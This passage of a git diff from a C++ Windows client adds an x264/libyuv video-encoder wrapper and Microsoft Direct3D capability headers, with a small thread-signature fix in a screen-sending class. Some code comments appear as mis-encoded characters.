BOOL m_bIsWorking;
|
||||
@@ -24,7 +24,7 @@ public:
|
||||
|
||||
void SendBitMapInfor();
|
||||
BOOL SendNextScreen();
|
||||
static DWORD WorkThread(LPVOID lParam);
|
||||
static DWORD WINAPI WorkThread(LPVOID lParam);
|
||||
|
||||
CCaptureVideo m_CapVideo;
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
163
client/X264Encoder.cpp
Normal file
163
client/X264Encoder.cpp
Normal file
@@ -0,0 +1,163 @@
|
||||
#include "X264Encoder.h"
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib,"libyuv/libyuv.lib")
|
||||
#pragma comment(lib,"x264/libx264.lib")
|
||||
#endif
|
||||
|
||||
CX264Encoder::CX264Encoder()
|
||||
{
|
||||
memset(&m_Param, 0, sizeof(m_Param));
|
||||
m_pCodec = NULL;
|
||||
m_pPicIn = NULL;
|
||||
m_pPicOut = NULL;
|
||||
}
|
||||
|
||||
|
||||
CX264Encoder::~CX264Encoder()
|
||||
{
|
||||
close();
|
||||
}
|
||||
|
||||
bool CX264Encoder::open(int width, int height, int fps, int bitrate)
|
||||
{
|
||||
x264_param_t param = { 0 };
|
||||
x264_param_default_preset(¶m, "ultrafast", "zerolatency");
|
||||
|
||||
param.i_width = width & 0xfffffffe;
|
||||
param.i_height = height & 0xfffffffe;
|
||||
|
||||
//x264_LOG_NONE
|
||||
param.i_log_level = X264_LOG_NONE;
|
||||
param.i_threads = 1;
|
||||
param.i_frame_total = 0;
|
||||
param.i_keyint_max = 10;
|
||||
param.i_bframe = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>b֡
|
||||
param.b_open_gop = 0;
|
||||
param.i_fps_num = fps;
|
||||
param.i_csp = X264_CSP_I420;
|
||||
|
||||
if (bitrate)
|
||||
{
|
||||
param.rc.i_rc_method = X264_RC_ABR;
|
||||
param.rc.i_bitrate = bitrate;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>profile.
|
||||
if (x264_param_apply_profile(¶m, x264_profile_names[0]))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return open(¶m);
|
||||
}
|
||||
|
||||
bool CX264Encoder::open(x264_param_t * param)
|
||||
{
|
||||
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||
|
||||
//input pic.
|
||||
x264_picture_init(m_pPicIn);
|
||||
|
||||
x264_picture_alloc(
|
||||
m_pPicIn,
|
||||
X264_CSP_I420,
|
||||
param->i_width,
|
||||
param->i_height);
|
||||
|
||||
//create codec instance.
|
||||
m_pCodec = x264_encoder_open(param);
|
||||
if (m_pCodec == NULL){
|
||||
return false;
|
||||
}
|
||||
memcpy(&m_Param, param, sizeof(m_Param));
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
void CX264Encoder::close()
|
||||
{
|
||||
if (m_pCodec)
|
||||
{
|
||||
x264_encoder_close(m_pCodec);
|
||||
m_pCodec = NULL;
|
||||
}
|
||||
|
||||
if (m_pPicIn)
|
||||
{
|
||||
x264_picture_clean(m_pPicIn);
|
||||
free(m_pPicIn);
|
||||
m_pPicIn = NULL;
|
||||
}
|
||||
|
||||
if (m_pPicOut)
|
||||
{
|
||||
free(m_pPicOut);
|
||||
m_pPicOut = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int CX264Encoder::encode(
|
||||
uint8_t * rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t ** lppData,
|
||||
uint32_t * lpSize,
|
||||
int direction)
|
||||
{
|
||||
int encode_size = 0;
|
||||
x264_nal_t *pNal = NULL;
|
||||
int iNal;
|
||||
|
||||
if ((width & 0xfffffffe) != m_Param.i_width ||
|
||||
(height & 0xfffffffe) != m_Param.i_height)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
switch (bpp)
|
||||
{
|
||||
case 24:
|
||||
libyuv::RGB24ToI420((uint8_t*)rgb, stride,
|
||||
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
|
||||
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
|
||||
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
|
||||
m_Param.i_width, direction * m_Param.i_height);
|
||||
break;
|
||||
case 32:
|
||||
libyuv::ARGBToI420((uint8_t*)rgb, stride,
|
||||
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
|
||||
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
|
||||
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
|
||||
m_Param.i_width, direction * m_Param.i_height);
|
||||
break;
|
||||
default:
|
||||
return -2;
|
||||
}
|
||||
|
||||
|
||||
encode_size = x264_encoder_encode(
|
||||
m_pCodec,
|
||||
&pNal,
|
||||
&iNal,
|
||||
m_pPicIn,
|
||||
m_pPicOut);
|
||||
|
||||
if (encode_size < 0)
|
||||
{
|
||||
return -3;
|
||||
}
|
||||
|
||||
*lppData = pNal->p_payload;
|
||||
*lpSize = encode_size;
|
||||
return 0;
|
||||
}
|
||||
35
client/X264Encoder.h
Normal file
35
client/X264Encoder.h
Normal file
@@ -0,0 +1,35 @@
|
||||
#pragma once
|
||||
|
||||
extern "C"{
|
||||
#include <libyuv\libyuv.h>
|
||||
#include <x264\x264.h>
|
||||
}
|
||||
|
||||
class CX264Encoder
|
||||
{
|
||||
private:
|
||||
x264_t* m_pCodec; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>
|
||||
x264_picture_t *m_pPicIn;
|
||||
x264_picture_t *m_pPicOut;
|
||||
x264_param_t m_Param;
|
||||
public:
|
||||
bool open(int width, int height, int fps,int bitrate);
|
||||
bool open(x264_param_t * param);
|
||||
|
||||
void close();
|
||||
|
||||
int encode(
|
||||
uint8_t * rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t ** lppData,
|
||||
uint32_t * lpSize,
|
||||
int direction = 1
|
||||
);
|
||||
|
||||
CX264Encoder();
|
||||
~CX264Encoder();
|
||||
};
|
||||
|
||||
1696
client/d3d/d3d.h
Normal file
1696
client/d3d/d3d.h
Normal file
File diff suppressed because it is too large
Load Diff
609
client/d3d/d3dcaps.h
Normal file
609
client/d3d/d3dcaps.h
Normal file
@@ -0,0 +1,609 @@
|
||||
/*==========================================================================;
|
||||
*
|
||||
* Copyright (C) Microsoft Corporation. All Rights Reserved.
|
||||
*
|
||||
* File: d3dcaps.h
|
||||
* Content: Direct3D capabilities include file
|
||||
*
|
||||
***************************************************************************/
|
||||
|
||||
#include <winapifamily.h>
|
||||
|
||||
#pragma region Desktop Family
|
||||
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||
|
||||
#ifndef _D3DCAPS_H
|
||||
#define _D3DCAPS_H
|
||||
|
||||
/*
|
||||
* Pull in DirectDraw include file automatically:
|
||||
*/
|
||||
#include "ddraw.h"
|
||||
|
||||
#ifndef DIRECT3D_VERSION
|
||||
#define DIRECT3D_VERSION 0x0700
|
||||
#endif
|
||||
|
||||
#if defined(_X86_) || defined(_IA64_)
|
||||
#pragma pack(4)
|
||||
#endif
|
||||
|
||||
/* Description of capabilities of transform */
|
||||
|
||||
typedef struct _D3DTRANSFORMCAPS {
|
||||
DWORD dwSize;
|
||||
DWORD dwCaps;
|
||||
} D3DTRANSFORMCAPS, *LPD3DTRANSFORMCAPS;
|
||||
|
||||
#define D3DTRANSFORMCAPS_CLIP 0x00000001L /* Will clip whilst transforming */
|
||||
|
||||
/* Description of capabilities of lighting */
|
||||
|
||||
typedef struct _D3DLIGHTINGCAPS {
|
||||
DWORD dwSize;
|
||||
DWORD dwCaps; /* Lighting caps */
|
||||
DWORD dwLightingModel; /* Lighting model - RGB or mono */
|
||||
DWORD dwNumLights; /* Number of lights that can be handled */
|
||||
} D3DLIGHTINGCAPS, *LPD3DLIGHTINGCAPS;
|
||||
|
||||
#define D3DLIGHTINGMODEL_RGB 0x00000001L
|
||||
#define D3DLIGHTINGMODEL_MONO 0x00000002L
|
||||
|
||||
#define D3DLIGHTCAPS_POINT 0x00000001L /* Point lights supported */
|
||||
#define D3DLIGHTCAPS_SPOT 0x00000002L /* Spot lights supported */
|
||||
#define D3DLIGHTCAPS_DIRECTIONAL 0x00000004L /* Directional lights supported */
|
||||
#if(DIRECT3D_VERSION < 0x700)
|
||||
#define D3DLIGHTCAPS_PARALLELPOINT 0x00000008L /* Parallel point lights supported */
|
||||
#endif
|
||||
#if(DIRECT3D_VERSION < 0x500)
|
||||
#define D3DLIGHTCAPS_GLSPOT 0x00000010L /* GL syle spot lights supported */
|
||||
#endif
|
||||
|
||||
/* Description of capabilities for each primitive type */
|
||||
|
||||
typedef struct _D3DPrimCaps {
|
||||
DWORD dwSize;
|
||||
DWORD dwMiscCaps; /* Capability flags */
|
||||
DWORD dwRasterCaps;
|
||||
DWORD dwZCmpCaps;
|
||||
DWORD dwSrcBlendCaps;
|
||||
DWORD dwDestBlendCaps;
|
||||
DWORD dwAlphaCmpCaps;
|
||||
DWORD dwShadeCaps;
|
||||
DWORD dwTextureCaps;
|
||||
DWORD dwTextureFilterCaps;
|
||||
DWORD dwTextureBlendCaps;
|
||||
DWORD dwTextureAddressCaps;
|
||||
DWORD dwStippleWidth; /* maximum width and height of */
|
||||
DWORD dwStippleHeight; /* of supported stipple (up to 32x32) */
|
||||
} D3DPRIMCAPS, *LPD3DPRIMCAPS;
|
||||
|
||||
/* D3DPRIMCAPS dwMiscCaps */
|
||||
|
||||
#define D3DPMISCCAPS_MASKPLANES 0x00000001L
|
||||
#define D3DPMISCCAPS_MASKZ 0x00000002L
|
||||
#define D3DPMISCCAPS_LINEPATTERNREP 0x00000004L
|
||||
#define D3DPMISCCAPS_CONFORMANT 0x00000008L
|
||||
#define D3DPMISCCAPS_CULLNONE 0x00000010L
|
||||
#define D3DPMISCCAPS_CULLCW 0x00000020L
|
||||
#define D3DPMISCCAPS_CULLCCW 0x00000040L
|
||||
|
||||
/* D3DPRIMCAPS dwRasterCaps */
|
||||
|
||||
#define D3DPRASTERCAPS_DITHER 0x00000001L
|
||||
#define D3DPRASTERCAPS_ROP2 0x00000002L
|
||||
#define D3DPRASTERCAPS_XOR 0x00000004L
|
||||
#define D3DPRASTERCAPS_PAT 0x00000008L
|
||||
#define D3DPRASTERCAPS_ZTEST 0x00000010L
|
||||
#define D3DPRASTERCAPS_SUBPIXEL 0x00000020L
|
||||
#define D3DPRASTERCAPS_SUBPIXELX 0x00000040L
|
||||
#define D3DPRASTERCAPS_FOGVERTEX 0x00000080L
|
||||
#define D3DPRASTERCAPS_FOGTABLE 0x00000100L
|
||||
#define D3DPRASTERCAPS_STIPPLE 0x00000200L
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
#define D3DPRASTERCAPS_ANTIALIASSORTDEPENDENT 0x00000400L
|
||||
#define D3DPRASTERCAPS_ANTIALIASSORTINDEPENDENT 0x00000800L
|
||||
#define D3DPRASTERCAPS_ANTIALIASEDGES 0x00001000L
|
||||
#define D3DPRASTERCAPS_MIPMAPLODBIAS 0x00002000L
|
||||
#define D3DPRASTERCAPS_ZBIAS 0x00004000L
|
||||
#define D3DPRASTERCAPS_ZBUFFERLESSHSR 0x00008000L
|
||||
#define D3DPRASTERCAPS_FOGRANGE 0x00010000L
|
||||
#define D3DPRASTERCAPS_ANISOTROPY 0x00020000L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
#define D3DPRASTERCAPS_WBUFFER 0x00040000L
|
||||
#define D3DPRASTERCAPS_TRANSLUCENTSORTINDEPENDENT 0x00080000L
|
||||
#define D3DPRASTERCAPS_WFOG 0x00100000L
|
||||
#define D3DPRASTERCAPS_ZFOG 0x00200000L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
|
||||
/* D3DPRIMCAPS dwZCmpCaps, dwAlphaCmpCaps */
|
||||
|
||||
#define D3DPCMPCAPS_NEVER 0x00000001L
|
||||
#define D3DPCMPCAPS_LESS 0x00000002L
|
||||
#define D3DPCMPCAPS_EQUAL 0x00000004L
|
||||
#define D3DPCMPCAPS_LESSEQUAL 0x00000008L
|
||||
#define D3DPCMPCAPS_GREATER 0x00000010L
|
||||
#define D3DPCMPCAPS_NOTEQUAL 0x00000020L
|
||||
#define D3DPCMPCAPS_GREATEREQUAL 0x00000040L
|
||||
#define D3DPCMPCAPS_ALWAYS 0x00000080L
|
||||
|
||||
/* D3DPRIMCAPS dwSourceBlendCaps, dwDestBlendCaps */
|
||||
|
||||
#define D3DPBLENDCAPS_ZERO 0x00000001L
|
||||
#define D3DPBLENDCAPS_ONE 0x00000002L
|
||||
#define D3DPBLENDCAPS_SRCCOLOR 0x00000004L
|
||||
#define D3DPBLENDCAPS_INVSRCCOLOR 0x00000008L
|
||||
#define D3DPBLENDCAPS_SRCALPHA 0x00000010L
|
||||
#define D3DPBLENDCAPS_INVSRCALPHA 0x00000020L
|
||||
#define D3DPBLENDCAPS_DESTALPHA 0x00000040L
|
||||
#define D3DPBLENDCAPS_INVDESTALPHA 0x00000080L
|
||||
#define D3DPBLENDCAPS_DESTCOLOR 0x00000100L
|
||||
#define D3DPBLENDCAPS_INVDESTCOLOR 0x00000200L
|
||||
#define D3DPBLENDCAPS_SRCALPHASAT 0x00000400L
|
||||
#define D3DPBLENDCAPS_BOTHSRCALPHA 0x00000800L
|
||||
#define D3DPBLENDCAPS_BOTHINVSRCALPHA 0x00001000L
|
||||
|
||||
/* D3DPRIMCAPS dwShadeCaps */
|
||||
|
||||
#define D3DPSHADECAPS_COLORFLATMONO 0x00000001L
|
||||
#define D3DPSHADECAPS_COLORFLATRGB 0x00000002L
|
||||
#define D3DPSHADECAPS_COLORGOURAUDMONO 0x00000004L
|
||||
#define D3DPSHADECAPS_COLORGOURAUDRGB 0x00000008L
|
||||
#define D3DPSHADECAPS_COLORPHONGMONO 0x00000010L
|
||||
#define D3DPSHADECAPS_COLORPHONGRGB 0x00000020L
|
||||
|
||||
#define D3DPSHADECAPS_SPECULARFLATMONO 0x00000040L
|
||||
#define D3DPSHADECAPS_SPECULARFLATRGB 0x00000080L
|
||||
#define D3DPSHADECAPS_SPECULARGOURAUDMONO 0x00000100L
|
||||
#define D3DPSHADECAPS_SPECULARGOURAUDRGB 0x00000200L
|
||||
#define D3DPSHADECAPS_SPECULARPHONGMONO 0x00000400L
|
||||
#define D3DPSHADECAPS_SPECULARPHONGRGB 0x00000800L
|
||||
|
||||
#define D3DPSHADECAPS_ALPHAFLATBLEND 0x00001000L
|
||||
#define D3DPSHADECAPS_ALPHAFLATSTIPPLED 0x00002000L
|
||||
#define D3DPSHADECAPS_ALPHAGOURAUDBLEND 0x00004000L
|
||||
#define D3DPSHADECAPS_ALPHAGOURAUDSTIPPLED 0x00008000L
|
||||
#define D3DPSHADECAPS_ALPHAPHONGBLEND 0x00010000L
|
||||
#define D3DPSHADECAPS_ALPHAPHONGSTIPPLED 0x00020000L
|
||||
|
||||
#define D3DPSHADECAPS_FOGFLAT 0x00040000L
|
||||
#define D3DPSHADECAPS_FOGGOURAUD 0x00080000L
|
||||
#define D3DPSHADECAPS_FOGPHONG 0x00100000L
|
||||
|
||||
/* D3DPRIMCAPS dwTextureCaps */
|
||||
|
||||
/*
|
||||
* Perspective-correct texturing is supported
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_PERSPECTIVE 0x00000001L
|
||||
|
||||
/*
|
||||
* Power-of-2 texture dimensions are required
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_POW2 0x00000002L
|
||||
|
||||
/*
|
||||
* Alpha in texture pixels is supported
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_ALPHA 0x00000004L
|
||||
|
||||
/*
|
||||
* Color-keyed textures are supported
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_TRANSPARENCY 0x00000008L
|
||||
|
||||
/*
|
||||
* obsolete, see D3DPTADDRESSCAPS_BORDER
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_BORDER 0x00000010L
|
||||
|
||||
/*
|
||||
* Only square textures are supported
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_SQUAREONLY 0x00000020L
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
/*
|
||||
* Texture indices are not scaled by the texture size prior
|
||||
* to interpolation.
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_TEXREPEATNOTSCALEDBYSIZE 0x00000040L
|
||||
|
||||
/*
|
||||
* Device can draw alpha from texture palettes
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_ALPHAPALETTE 0x00000080L
|
||||
|
||||
/*
|
||||
* Device can use non-POW2 textures if:
|
||||
* 1) D3DTEXTURE_ADDRESS is set to CLAMP for this texture's stage
|
||||
* 2) D3DRS_WRAP(N) is zero for this texture's coordinates
|
||||
* 3) mip mapping is not enabled (use magnification filter only)
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_NONPOW2CONDITIONAL 0x00000100L
|
||||
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
|
||||
// 0x00000200L unused
|
||||
|
||||
/*
|
||||
* Device can divide transformed texture coordinates by the
|
||||
* COUNTth texture coordinate (can do D3DTTFF_PROJECTED)
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_PROJECTED 0x00000400L
|
||||
|
||||
/*
|
||||
* Device can do cubemap textures
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_CUBEMAP 0x00000800L
|
||||
|
||||
#define D3DPTEXTURECAPS_COLORKEYBLEND 0x00001000L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
/* D3DPRIMCAPS dwTextureFilterCaps */
|
||||
|
||||
#define D3DPTFILTERCAPS_NEAREST 0x00000001L
|
||||
#define D3DPTFILTERCAPS_LINEAR 0x00000002L
|
||||
#define D3DPTFILTERCAPS_MIPNEAREST 0x00000004L
|
||||
#define D3DPTFILTERCAPS_MIPLINEAR 0x00000008L
|
||||
#define D3DPTFILTERCAPS_LINEARMIPNEAREST 0x00000010L
|
||||
#define D3DPTFILTERCAPS_LINEARMIPLINEAR 0x00000020L
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
/* Device3 Min Filter */
|
||||
#define D3DPTFILTERCAPS_MINFPOINT 0x00000100L
|
||||
#define D3DPTFILTERCAPS_MINFLINEAR 0x00000200L
|
||||
#define D3DPTFILTERCAPS_MINFANISOTROPIC 0x00000400L
|
||||
|
||||
/* Device3 Mip Filter */
|
||||
#define D3DPTFILTERCAPS_MIPFPOINT 0x00010000L
|
||||
#define D3DPTFILTERCAPS_MIPFLINEAR 0x00020000L
|
||||
|
||||
/* Device3 Mag Filter */
|
||||
#define D3DPTFILTERCAPS_MAGFPOINT 0x01000000L
|
||||
#define D3DPTFILTERCAPS_MAGFLINEAR 0x02000000L
|
||||
#define D3DPTFILTERCAPS_MAGFANISOTROPIC 0x04000000L
|
||||
#define D3DPTFILTERCAPS_MAGFAFLATCUBIC 0x08000000L
|
||||
#define D3DPTFILTERCAPS_MAGFGAUSSIANCUBIC 0x10000000L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
|
||||
/* D3DPRIMCAPS dwTextureBlendCaps */
|
||||
|
||||
#define D3DPTBLENDCAPS_DECAL 0x00000001L
|
||||
#define D3DPTBLENDCAPS_MODULATE 0x00000002L
|
||||
#define D3DPTBLENDCAPS_DECALALPHA 0x00000004L
|
||||
#define D3DPTBLENDCAPS_MODULATEALPHA 0x00000008L
|
||||
#define D3DPTBLENDCAPS_DECALMASK 0x00000010L
|
||||
#define D3DPTBLENDCAPS_MODULATEMASK 0x00000020L
|
||||
#define D3DPTBLENDCAPS_COPY 0x00000040L
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
#define D3DPTBLENDCAPS_ADD 0x00000080L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
|
||||
/* D3DPRIMCAPS dwTextureAddressCaps */
|
||||
#define D3DPTADDRESSCAPS_WRAP 0x00000001L
|
||||
#define D3DPTADDRESSCAPS_MIRROR 0x00000002L
|
||||
#define D3DPTADDRESSCAPS_CLAMP 0x00000004L
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
#define D3DPTADDRESSCAPS_BORDER 0x00000008L
|
||||
#define D3DPTADDRESSCAPS_INDEPENDENTUV 0x00000010L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
|
||||
/* D3DDEVICEDESC dwStencilCaps */
|
||||
|
||||
#define D3DSTENCILCAPS_KEEP 0x00000001L
|
||||
#define D3DSTENCILCAPS_ZERO 0x00000002L
|
||||
#define D3DSTENCILCAPS_REPLACE 0x00000004L
|
||||
#define D3DSTENCILCAPS_INCRSAT 0x00000008L
|
||||
#define D3DSTENCILCAPS_DECRSAT 0x00000010L
|
||||
#define D3DSTENCILCAPS_INVERT 0x00000020L
|
||||
#define D3DSTENCILCAPS_INCR 0x00000040L
|
||||
#define D3DSTENCILCAPS_DECR 0x00000080L
|
||||
|
||||
/* D3DDEVICEDESC dwTextureOpCaps */
|
||||
|
||||
#define D3DTEXOPCAPS_DISABLE 0x00000001L
|
||||
#define D3DTEXOPCAPS_SELECTARG1 0x00000002L
|
||||
#define D3DTEXOPCAPS_SELECTARG2 0x00000004L
|
||||
#define D3DTEXOPCAPS_MODULATE 0x00000008L
|
||||
#define D3DTEXOPCAPS_MODULATE2X 0x00000010L
|
||||
#define D3DTEXOPCAPS_MODULATE4X 0x00000020L
|
||||
#define D3DTEXOPCAPS_ADD 0x00000040L
|
||||
#define D3DTEXOPCAPS_ADDSIGNED 0x00000080L
|
||||
#define D3DTEXOPCAPS_ADDSIGNED2X 0x00000100L
|
||||
#define D3DTEXOPCAPS_SUBTRACT 0x00000200L
|
||||
#define D3DTEXOPCAPS_ADDSMOOTH 0x00000400L
|
||||
#define D3DTEXOPCAPS_BLENDDIFFUSEALPHA 0x00000800L
|
||||
#define D3DTEXOPCAPS_BLENDTEXTUREALPHA 0x00001000L
|
||||
#define D3DTEXOPCAPS_BLENDFACTORALPHA 0x00002000L
|
||||
#define D3DTEXOPCAPS_BLENDTEXTUREALPHAPM 0x00004000L
|
||||
#define D3DTEXOPCAPS_BLENDCURRENTALPHA 0x00008000L
|
||||
#define D3DTEXOPCAPS_PREMODULATE 0x00010000L
|
||||
#define D3DTEXOPCAPS_MODULATEALPHA_ADDCOLOR 0x00020000L
|
||||
#define D3DTEXOPCAPS_MODULATECOLOR_ADDALPHA 0x00040000L
|
||||
#define D3DTEXOPCAPS_MODULATEINVALPHA_ADDCOLOR 0x00080000L
|
||||
#define D3DTEXOPCAPS_MODULATEINVCOLOR_ADDALPHA 0x00100000L
|
||||
#define D3DTEXOPCAPS_BUMPENVMAP 0x00200000L
|
||||
#define D3DTEXOPCAPS_BUMPENVMAPLUMINANCE 0x00400000L
|
||||
#define D3DTEXOPCAPS_DOTPRODUCT3 0x00800000L
|
||||
|
||||
/* D3DDEVICEDESC dwFVFCaps flags */
|
||||
|
||||
#define D3DFVFCAPS_TEXCOORDCOUNTMASK 0x0000ffffL /* mask for texture coordinate count field */
|
||||
#define D3DFVFCAPS_DONOTSTRIPELEMENTS 0x00080000L /* Device prefers that vertex elements not be stripped */
|
||||
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
|
||||
/*
|
||||
* Description for a device.
|
||||
* This is used to describe a device that is to be created or to query
|
||||
* the current device.
|
||||
*/
|
||||
typedef struct _D3DDeviceDesc {
|
||||
DWORD dwSize; /* Size of D3DDEVICEDESC structure */
|
||||
DWORD dwFlags; /* Indicates which fields have valid data */
|
||||
D3DCOLORMODEL dcmColorModel; /* Color model of device */
|
||||
DWORD dwDevCaps; /* Capabilities of device */
|
||||
D3DTRANSFORMCAPS dtcTransformCaps; /* Capabilities of transform */
|
||||
BOOL bClipping; /* Device can do 3D clipping */
|
||||
D3DLIGHTINGCAPS dlcLightingCaps; /* Capabilities of lighting */
|
||||
D3DPRIMCAPS dpcLineCaps;
|
||||
D3DPRIMCAPS dpcTriCaps;
|
||||
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
|
||||
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
|
||||
DWORD dwMaxBufferSize; /* Maximum execute buffer size */
|
||||
DWORD dwMaxVertexCount; /* Maximum vertex count */
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
// *** New fields for DX5 *** //
|
||||
|
||||
// Width and height caps are 0 for legacy HALs.
|
||||
DWORD dwMinTextureWidth, dwMinTextureHeight;
|
||||
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
|
||||
DWORD dwMinStippleWidth, dwMaxStippleWidth;
|
||||
DWORD dwMinStippleHeight, dwMaxStippleHeight;
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
// New fields for DX6
|
||||
DWORD dwMaxTextureRepeat;
|
||||
DWORD dwMaxTextureAspectRatio;
|
||||
DWORD dwMaxAnisotropy;
|
||||
|
||||
// Guard band that the rasterizer can accommodate
|
||||
// Screen-space vertices inside this space but outside the viewport
|
||||
// will get clipped properly.
|
||||
D3DVALUE dvGuardBandLeft;
|
||||
D3DVALUE dvGuardBandTop;
|
||||
D3DVALUE dvGuardBandRight;
|
||||
D3DVALUE dvGuardBandBottom;
|
||||
|
||||
D3DVALUE dvExtentsAdjust;
|
||||
DWORD dwStencilCaps;
|
||||
|
||||
DWORD dwFVFCaps;
|
||||
DWORD dwTextureOpCaps;
|
||||
WORD wMaxTextureBlendStages;
|
||||
WORD wMaxSimultaneousTextures;
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
} D3DDEVICEDESC, *LPD3DDEVICEDESC;
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
typedef struct _D3DDeviceDesc7 {
|
||||
DWORD dwDevCaps; /* Capabilities of device */
|
||||
D3DPRIMCAPS dpcLineCaps;
|
||||
D3DPRIMCAPS dpcTriCaps;
|
||||
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
|
||||
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
|
||||
|
||||
DWORD dwMinTextureWidth, dwMinTextureHeight;
|
||||
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
|
||||
|
||||
DWORD dwMaxTextureRepeat;
|
||||
DWORD dwMaxTextureAspectRatio;
|
||||
DWORD dwMaxAnisotropy;
|
||||
|
||||
D3DVALUE dvGuardBandLeft;
|
||||
D3DVALUE dvGuardBandTop;
|
||||
D3DVALUE dvGuardBandRight;
|
||||
D3DVALUE dvGuardBandBottom;
|
||||
|
||||
D3DVALUE dvExtentsAdjust;
|
||||
DWORD dwStencilCaps;
|
||||
|
||||
DWORD dwFVFCaps;
|
||||
DWORD dwTextureOpCaps;
|
||||
WORD wMaxTextureBlendStages;
|
||||
WORD wMaxSimultaneousTextures;
|
||||
|
||||
DWORD dwMaxActiveLights;
|
||||
D3DVALUE dvMaxVertexW;
|
||||
GUID deviceGUID;
|
||||
|
||||
WORD wMaxUserClipPlanes;
|
||||
WORD wMaxVertexBlendMatrices;
|
||||
|
||||
DWORD dwVertexProcessingCaps;
|
||||
|
||||
DWORD dwReserved1;
|
||||
DWORD dwReserved2;
|
||||
DWORD dwReserved3;
|
||||
DWORD dwReserved4;
|
||||
} D3DDEVICEDESC7, *LPD3DDEVICEDESC7;
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
#define D3DDEVICEDESCSIZE (sizeof(D3DDEVICEDESC))
|
||||
#define D3DDEVICEDESC7SIZE (sizeof(D3DDEVICEDESC7))
|
||||
|
||||
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK)(GUID FAR *lpGuid, LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC, LPD3DDEVICEDESC, LPVOID);
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK7)(LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC7, LPVOID);
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
/* D3DDEVICEDESC dwFlags indicating valid fields */
|
||||
|
||||
#define D3DDD_COLORMODEL 0x00000001L /* dcmColorModel is valid */
|
||||
#define D3DDD_DEVCAPS 0x00000002L /* dwDevCaps is valid */
|
||||
#define D3DDD_TRANSFORMCAPS 0x00000004L /* dtcTransformCaps is valid */
|
||||
#define D3DDD_LIGHTINGCAPS 0x00000008L /* dlcLightingCaps is valid */
|
||||
#define D3DDD_BCLIPPING 0x00000010L /* bClipping is valid */
|
||||
#define D3DDD_LINECAPS 0x00000020L /* dpcLineCaps is valid */
|
||||
